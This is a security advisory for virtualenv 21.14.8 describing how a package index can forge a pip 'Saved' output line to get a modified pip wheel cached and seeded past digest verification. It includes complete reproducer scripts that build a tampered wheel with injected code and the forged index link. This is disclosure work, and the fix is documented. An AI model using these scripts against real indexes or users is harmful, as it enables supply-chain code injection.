GHSA-494p-63j8-28p3

virtualenv: Downloaded wheel selection and caching precede verification

## Summary Wheel downloads go directly into the reusable wheelhouse, while the verification target is selected from pip's textual output. A verification failure does not remove the downloaded file from that cache. Anthropic's OSS Scanner reported this as `ANT-2026-ST00DRO3` in `virtualenv-20261015-005`, received on 15 October 2026. ## Affected area Download selection and promotion into the reusable wheel cache. ## Attacker-controlled input A download must fail verification, or the archive selected from pip output must differ from the file later reused. Default-index digest verification must be enabled. Existing custom-index exceptions are outside the promised PyPI comparison. ## Affected code The relevant 21.14.8 source is in [wheel download and digest check](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/wheels/acquire.py). ## Mechanism `download_wheel()` tells pip to write directly into the reusable `wheel/house` cache. It then selects a path to hash from the first `Saved ` line in pip's stdout, rather than from the file pip actually placed there. A package index can inject such a line through a discarded link's `data-requires-python` attribute. A separate failure exists without the forged line: a digest mismatch raises after the downloaded wheel has entered the cache, and the rejected bytes remain there. Later wheel selection does not hash the cached file again. ## Reproduction and evidence The scanner used a local index configured in `pip.conf`, with PyPI digest comparison still enabled. In the control case it served a modified pip wheel alone. `virtualenv --upgrade-embed-wheels` refused the mismatch, and a subsequent environment used the bundled pip. In the attack case the index added a link whose `data-requires-python` contained a forged `Saved <path>` line pointing at a genuine bundled wheel. The upgrade then exited without a digest error, recorded the modified wheel in its update log, and a later environment's `pip --version` ran a line added by the index. The reproduction used a known absolute path to the genuine bundled wheel; that prerequisite is part of this variant. The report also shows that a refused wheel can replace a previously accepted file of the same name in `wheel/house`, leaving rejected bytes available for later use. It does not claim to bypass TLS or affect the default PyPI setup. The gap follows the digest check added in #3251, first released in 21.7.12. [PR #3430](https://github.com/pypa/virtualenv/pull/3430) downloads to a private temporary directory, verifies the actual archive, and promotes it only after acceptance. ## Attack sequence ```mermaid sequenceDiagram participant I as Configured index participant P as pip download participant C as wheel/house cache participant V as virtualenv digest check participant N as New environment I->>P: modified wheel and forged Saved line P->>C: write modified wheel directly P-->>V: stdout names genuine bundled wheel V->>V: hash genuine wheel and accept V->>C: record modified wheel for reuse C->>N: seed modified pip without rehash Note over P,C: Even a rejected wheel can remain in the cache ``` ## Reproducer files The following files are from the scanner report for `ANT-2026-ST00DRO3`. They were tested against commit `a857a7823c73` in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update. **`repro`** ```text #!/usr/bin/env python3 import atexit import hashlib import json import os import shutil import subprocess import sys from pathlib import Path companions = Path("/tmp/repro.d") work = Path("/tmp/forged-saved-line") home = work / "home" app_data = home / ".cache" / "virtualenv" this_python = f"{sys.version_info.major}.{sys.version_info.minor}" # the target; each Python has its own update log update_log_of_pip = app_data / "wheel" / this_python / "embed" / "3" / "pip.json" virtualenv = [sys.executable, companions / "virtualenv_with_local_pypi_json.py", work / "pypi"] as_user = {"cwd": home, "env": {"HOME": str(home), "PATH": os.environ["PATH"]}, "capture_output": True, "text": True} added_code_prints = "code added by the index" # the line index_serves_modified_pip.py adds to pip/__init__.py def user_upgrades_seed_wheels_and_creates_env(): # each case starts from an empty app-data shutil.rmtree(app_data, ignore_errors=True) shutil.rmtree(home / "env", ignore_errors=True) upgrade = subprocess.run([*virtualenv, "--upgrade-embed-wheels"], **as_user) # --no-periodic-update: the background update is another process, which the PyPI stand-in does not reach subprocess.run([*virtualenv, "--no-periodic-update", "env"], **as_user, check=True) pip_version = subprocess.run([home / "env" / "bin" / "python", "-m", "pip", "--version"], **as_user, check=True) # one thread per target Python; a refused wheel ends its thread with a traceback on stderr, the exit code stays 0 refusal = next((line for line in upgrade.stderr.splitlines() if "but PyPI reports" in line), None) logged = [] if update_log_of_pip.exists(): # a failed update writes no log logged = [entry["filename"] for entry in json.loads(update_log_of_pip.read_text())["versions"]] return refusal, logged, pip_version.stdout.splitlines() # set up: PyPI's answers, a faithful mirror of PyPI on 127.0.0.1:8099, a user whose pip.conf points pip at it shutil.rmtree(work, ignore_errors=True) (home / ".config" / "pip").mkdir(parents=True) shutil.copy(companions / "pip.conf", home / ".config" / "pip" / "pip.conf") subprocess.run([sys.executable, companions / "pypi_json_and_mirror.py", work / "pypi", work / "index"], check=True) index_server = subprocess.Popen( [sys.executable, "-u", "-m", "http.server", "8099", "--bind", "127.0.0.1", "--directory", work / "index"], stdout=subprocess.PIPE, stderr=subprocess.DEVNULL, text=True, ) atexit.register(index_server.kill) assert index_server.stdout.readline().startswith("Serving HTTP"), "index server did not start" # printed once bound # control: the index serves a modified pip 26.0.1, and virtualenv's comparison with PyPI's SHA-256 refuses it subprocess.run([sys.executable, companions / "index_serves_modified_pip.py", work / "index"], check=True) refusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env() print("CONTROL modified pip: --upgrade-embed-wheels refused with:", refusal) print("CONTROL modified pip: update log of pip lists", logged) print("CONTROL modified pip: pip --version in the new env prints", pip_says) control_ran_added_code = added_code_prints in "\n".join(pip_says) # attack: the index also adds one link, whose data-requires-python puts a "Saved <path>" line into pip's output subprocess.run([sys.executable, companions / "index_forges_saved_line.py", work / "index"], check=True) refusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env() stored_wheel = app_data / "wheel" / "house" / "pip-26.0.1-py3-none-any.whl" stored_sha256 = hashlib.sha256(stored_wheel.read_bytes()).hexdigest() pypi_sha256 = json.loads((work / "pypi" / "pip.json").read_text())["releases"]["26.0.1"][0]["digests"]["sha256"] print("OBSERVED + forged line: --upgrade-embed-wheels refused with:", refusal) print("OBSERVED + forged line: update log of pip lists", logged) print("OBSERVED + forged line: sha256 of that wheel in wheel/house:", stored_sha256) print("OBSERVED + forged line: sha256 PyPI publishes for that name:", pypi_sha256) print("OBSERVED + forged line: pip --version in the new env prints", pip_says) attack_ran_added_code = added_code_prints in "\n".join(pip_says) # check: the same modified wheel, refused without the forged line, is seeded with it print("BUG" if attack_ran_added_code and not control_ran_added_code else "OK") ``` **`repro.d/index_forges_saved_line.py`** ```text """Attacker, as the operator of the index the user's pip.conf names: make pip print a "Saved <path>" line of its choice. usage: index_forges_saved_line.py <index_dir> Adds one link to the page of pip; the file behind it is a renamed copy of the genuine pip 26.2.1. """ import shutil import sys from pathlib import Path # a genuine PyPI file named pip-26.0.1-py3-none-any.whl on the user's disk: the wheel virtualenv bundles for Python 3.9, # at the same path for every user of this image GENUINE_WHEEL_ON_USERS_DISK = "/src/src/virtualenv/seed/wheels/embed/pip-26.0.1-py3-none-any.whl" index_dir = Path(sys.argv[1]) # named 100.0 while its METADATA says 26.2.1: pip tries it first, then drops it with # "Discarding <link> (requires-python:<attribute>): ... has inconsistent version" on stdout shutil.copy(index_dir / "files" / "pip-26.2.1-py3-none-any.whl", index_dir / "files" / "pip-100.0-py3-none-any.whl") # pip keeps a link whose data-requires-python it cannot parse, and prints the attribute as written; &#10; is a line feed with (index_dir / "simple" / "pip" / "index.html").open("a") as page: page.write( '<a href="/files/pip-100.0-py3-none-any.whl"' f' data-requires-python="&#10;Saved {GENUINE_WHEEL_ON_USERS_DISK}&#10;">pip-100.0-py3-none-any.whl</a>\n' ) ``` **`repro.d/index_serves_modified_pip.py`** ```text """Attacker, as the operator of the index the user's pip.conf names: serve a modified pip under a genuine name. usage: index_serves_modified_pip.py <index_dir> pip 26.0.1 on the index gets one more line of code in pip/__init__.py and becomes the only pip on offer. On its own, virtualenv's comparison with PyPI's SHA-256 catches this. """ import hashlib import io import sys import zipfile from pathlib import Path ADDED_CODE = b'\nprint("code added by the index runs as uid", __import__("os").getuid())\n' index_dir = Path(sys.argv[1]) wheel = index_dir / "files" / "pip-26.0.1-py3-none-any.whl" genuine = zipfile.ZipFile(io.BytesIO(wheel.read_bytes())) with zipfile.ZipFile(wheel, "w") as modified: for entry in genuine.infolist(): content = genuine.read(entry) if entry.filename == "pip/__init__.py": content += ADDED_CODE modified.writestr(entry, content) # the #sha256= that every PyPI link carries matters: --upgrade-embed-wheels copies the bundled pip 26.0.1 into pip's # download folder first, and pip replaces a file of the same name there only when the link's digest differs sha256 = hashlib.sha256(wheel.read_bytes()).hexdigest() (index_dir / "simple" / "pip" / "index.html").write_text( f'<!DOCTYPE html>\n<a href="/files/{wheel.name}#sha256={sha256}">{wheel.name}</a>\n' ) ``` **`repro.d/pip.conf`** ```text [global] index-url = http://127.0.0.1:8099/simple ``` **`repro.d/pypi_json_and_mirror.py`** ```text """Setup: what PyPI's JSON API answers for the seed wheels, and an index that mirrors PyPI faithfully. usage: pypi_json_and_mirror.py <pypi_dir> <index_dir> The wheels bundled with virtualenv are genuine PyPI files. <pypi_dir>/<project>.json is what https://pypi.org/pypi/<project>/json answers for them, with the digests of virtualenv's BUNDLE_SHA256 table. <index_dir> is a PEP 503 tree (simple/<project>/index.html, files/) that offers exactly these files. """ import json import shutil import sys import zipfile from email.parser import HeaderParser from html import escape from pathlib import Path from virtualenv.seed.wheels.embed import BUNDLE_FOLDER, BUNDLE_SHA256 pypi_dir, index_dir = Path(sys.argv[1]), Path(sys.argv[2]) pypi_dir.mkdir() (index_dir / "files").mkdir(parents=True) for project in ("pip", "setuptools"): releases, links = {}, [] for filename, sha256 in BUNDLE_SHA256.items(): name, version = filename.split("-")[:2] if name != project: continue shutil.copy(BUNDLE_FOLDER / filename, index_dir / "files") releases[version] = [{"filename": filename, "digests": {"sha256": sha256}, "upload_time": "2026-01-01T00:00:00"}] with zipfile.ZipFile(BUNDLE_FOLDER / filename) as wheel: metadata = HeaderParser().parsestr(wheel.read(f"{name}-{version}.dist-info/METADATA").decode()) requires_python = escape(metadata["Requires-Python"]) links.append(f'<a href="/files/{filename}#sha256={sha256}" data-requires-python="{requires_python}">{filename}</a>') (pypi_dir / f"{project}.json").write_text(json.dumps({"releases": releases})) (index_dir / "simple" / project).mkdir(parents=True) (index_dir / "simple" / project / "index.html").write_text("<!DOCTYPE html>\n" + "\n".join(links) + "\n") ``` **`repro.d/virtualenv_with_local_pypi_json.py`** ```text """Setup: the virtualenv command line, with PyPI's JSON API answered from local files because there is no network. usage: virtualenv_with_local_pypi_json.py <pypi_dir> <virtualenv arguments...> Only the request for https://pypi.org/pypi/<project>/json is replaced: it is answered from <pypi_dir>/<project>.json. pip, the index pip talks to and the rest of virtualenv are the real thing. """ import sys from pathlib import Path from unittest import mock from virtualenv.__main__ import run_with_catch pypi_dir = Path(sys.argv[1]) def pypi_json_api(url, context): assert url.startswith("https://pypi.org/pypi/") and context is None, url project = url.split("/")[4] return (pypi_dir / f"{project}.json").open("rb") with mock.patch("virtualenv.seed.wheels.periodic_update.urlopen", pypi_json_api): run_with_catch(sys.argv[2:]) ``` ## Impact A file rejected during download verification can remain available for later cache selection. Exploitation requires additional control over the downloaded data or archive selection; this finding alone does not bypass TLS. Severity: low. ## Versions tested The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9. The fix downloads into a private temporary directory and verifies archive identity, requested version, digest where applicable, and Python compatibility before promoting a wheel into the reusable cache. Fix: [PR #3430](https://github.com/pypa/virtualenv/pull/3430). ## Known mitigation After a failed verification, discard that download cache before reusing it. Use embedded wheels while reviewing unexpected download failures. ## Affected release - [x] The problem reproduces on virtualenv 21.14.8. ## Credits Reported by Anthropic's OSS Scanner as ANT-2026-ST00DRO3.